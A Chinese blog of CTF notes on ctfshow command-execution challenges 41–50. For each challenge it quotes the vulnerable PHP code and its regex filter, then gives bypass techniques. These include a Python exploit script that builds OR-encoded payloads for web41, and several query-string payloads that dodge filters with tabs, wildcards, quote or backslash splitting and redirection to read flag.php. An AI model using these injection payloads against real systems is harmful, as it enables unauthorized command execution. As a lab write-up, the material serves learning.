ctfshow命令执行篇41-50
ctfshow中web入门命令执行篇的一些刷题笔记
web41
题目:
1 2 3 4 5
| if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }
|
解答:
羽师傅的博客:
https://blog.csdn.net/miuzzx/article/details/108569080?spm=1001.2014.3001.5501
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
构筑rce_or.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) {
if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } }
} } fwrite($myfile,$contents); fclose($myfile);
|
运行后得到txt文件
接下来构筑exp.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import requests import urllib from sys import * import os
if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
|
cmd中执行
分别执行:
system;ls
system;tac flag.php
web42
题目:
1 2 3
| if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1");
|
解答:
让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
payload:
1 2
| ?c=ls;ls ?c=tac flag.php;
|
知识点1:Shell脚本———— /dev/null 2>&1详解
参考链接:
https://www.cnblogs.com/tinywan/p/6025468.html
可以将/dev/null看作”黑洞”. 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
用处:
禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.
1>/dev/null 2>&1的含义
> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于”1>/dev/null”
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
2>&1 :接着,标准错误输出重定向 到 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
知识点2:命令分隔
web43
题目:
多过滤了;和cat,没什么大区别,tac绕一下就行
解答:
知识点:读文件绕过
cat被ban,以下命令可用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| (1)more:一页一页的显示档案内容 (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file -f:报错出具体内容 grep strings
|
web44
题目:
在之前的基础上,多过滤了flag
解答:
通配符绕过,tac f*
知识点:通配符绕过
符号 |
作用 |
* |
匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file |
? |
匹配任何一个字符(不在括号内时)?代表人意1个字符 ls file 0 |
[abcd] |
匹配abcd中任何一个字符 |
[a-z] |
表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0 |
{..} |
表示生成序列。以逗号分隔,且不能有空格 |
[!abcd] |
或abcd表示非,表示不匹配括号里面的任何一个字符 |
web45
题目:
在前面的基础上加了空格过滤
解答:
绕空格,PHP环境下 %09过
知识点:空格绕过
1 2 3 4 5 6 7 8
| >< <> 重定向符 %09(需要php环境) ${IFS} $IFS $IFS$1 $IFS$9 {cat,flag.php} %20
|
web46、47、48
题目:
1 2 3
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); }
|
解答:
payload:
1
| ?c=tac%09????.???|| //复习前面的通配符;备注:%09会解析成空格,不会被正则ban
|
web49
题目:
1 2 3 4 5 6 7 8 9 10
| <?php
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
|
解答:
用之前的payload也行,贴一下大佬的一排payload
1 2 3 4 5 6 7 8 9
| payload1:c=nl%09fla\g.php|| payload2:c=nl%09fla\g.php%0a payload3:c=nl%09fla''g.php%0a payload4:c=nl%09fla""g.php%0a payload5:c=vi%09fla\g.php%0a payload6:c=tac%09fla\g.php%0a payload7:c=uniq%09fla\g.php%0a payload8:c=nl<fla''g.php|| payload9:c=nl%09fla\g.php%26
|
web50
题目:
1 2 3
| if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }
|
解答:
paylaod1:?c=tac<>fla\g.php||
payload2:c=nl<fla\g.php||
注意点:<>和?一起使用时没有回显,所以这里的?可以用反斜杠进行代替